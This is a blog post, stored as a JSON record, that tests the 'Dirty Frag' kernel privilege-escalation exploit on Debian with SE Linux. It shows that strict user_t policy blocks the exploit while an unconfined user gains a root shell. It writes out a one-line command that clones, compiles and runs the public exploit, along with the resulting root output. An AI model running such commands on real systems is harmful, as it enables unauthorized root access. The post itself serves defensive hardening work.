{
  "$type": "site.standard.document",
  "bskyPostRef": {
    "cid": "bafyreidvrfapwa7dya6twob4wy6c6jpzki4pljcafznzkccin5suwbzldy",
    "uri": "at://did:plc:46ti67tc37qcmwp2vaynk6fq/app.bsky.feed.post/3mld4n2jlayp2"
  },
  "coverImage": {
    "$type": "blob",
    "ref": {
      "$link": "bafkreifqaymphlhaou7ymuxlsdcq46k6c4k27dbs2lrqq2rxp5ioaxmdoy"
    },
    "mimeType": "image/jpeg",
    "size": 8554
  },
  "path": "/2026/05/08/dirty-frag-on-debian-and-se-linux/",
  "publishedAt": "2026-05-08T06:38:45.226Z",
  "site": "https://etbe.coker.com.au",
  "tags": [
    "Copy Fail vulnerability [1]",
    "Dirty Frag [2]",
    "https://etbe.coker.com.au/2026/05/04/copy-fail-on-debian-and-se-linux/",
    "https://almalinux.org/blog/2026-05-07-dirty-frag/",
    "Copy Fail on Debian and SE Linux",
    "SE Linux Lenny Status Update",
    "New SE Linux Policy for Lenny"
  ],
  "textContent": "Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it’s the first one I saw and it explains things well).\n\n## The Test System\n\nThe test system was running kernel **6.19.14+deb14-amd64** and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:\n\n\n    semanage login -m -s user_u -r s0 __default__\n    restorecon -R -v -F /home\n    semanage login -m -s root -r s0 root\n    # logout and login again\n    semodule -X 100 -r unconfined\n\n## Strict Policy is Not Vulnerable\n\nI did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as “strict policy”) and got the following result:\n\n\n    test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp\n    Cloning into 'dirtyfrag'...\n    remote: Enumerating objects: 26, done.\n    remote: Counting objects: 100% (26/26), done.\n    remote: Compressing objects: 100% (20/20), done.\n    remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)\n    Receiving objects: 100% (26/26), 5.83 MiB | 11.47 MiB/s, done.\n    Resolving deltas: 100% (9/9), done.\n    dirtyfrag: failed (rc=1)\n    test@testing1:~/t/dirtyfrag$ ./exp\n    dirtyfrag: failed (rc=1)\n\nI checked the audit log and saw the following:\n\n\n    # audit2allow -al\n    #============= user_t ==============\n    allow user_t self:rxrpc_socket create;\n    allow user_t self:user_namespace create;\n\nIt seems that the **rxrpc_socket** access is the main thing.\n\nI did a search for domains permitted to use that class on a system without unconfined domains and saw the following:\n\n\n    # sesearch -A -c rxrpc_socket\n    allow daemon init_t:rxrpc_socket { getattr getopt ioctl read setopt write };\n    allow devicekit_disk_t domain:rxrpc_socket getattr;\n    allow sosreport_t domain:rxrpc_socket getattr;\n    allow sysadm_t domain:rxrpc_socket getattr;\n\nThis configuration doesn’t appear to be vulnerable, at least to this form of the attack.\n\n## Unconfined Domains\n\nI reinstalled the unconfined policy with the following command and assigned it to the user **test2** with the following commands:\n\n\n    semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2\n    semanage login -a -s unconfined_u test2\n    restorecon -R -v -F /home/test2\n\nI then tested the exploit as user **test2** and got the following result:\n\n\n    test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp\n    Cloning into 'dirtyfrag'...\n    remote: Enumerating objects: 26, done.\n    remote: Counting objects: 100% (26/26), done.\n    remote: Compressing objects: 100% (20/20), done.\n    remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)\n    Receiving objects: 100% (26/26), 5.83 MiB | 16.57 MiB/s, done.\n    Resolving deltas: 100% (9/9), done.\n    # id\n    uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023\n    #\n\nThe kernel message log had the following lines from the time of the attack:\n\n\n    [ 1310.861545] Initializing XFRM netlink socket\n    [ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni))\n    [ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni)))\n    [ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added\n\n## Conclusion\n\nIt seems that we will be getting a lot of these so running SE Linux users as **user_t** is the right thing to do for servers and multi user systems.\n\n  * [1] https://etbe.coker.com.au/2026/05/04/copy-fail-on-debian-and-se-linux/\n  * [2] https://almalinux.org/blog/2026-05-07-dirty-frag/\n\n\n\nRelated posts:\n\n  1. Copy Fail on Debian and SE Linux I have just learned of the Copy Fail kernel vulnerability...\n  2. SE Linux Lenny Status Update I previously described four levels of SE Linux support on...\n  3. New SE Linux Policy for Lenny I have just uploaded new SE Linux policy packages for...\n\n",
  "title": "Russell Coker: Dirty Frag on Debian and SE Linux",
  "updatedAt": "2026-05-08T05:11:36.000Z"
}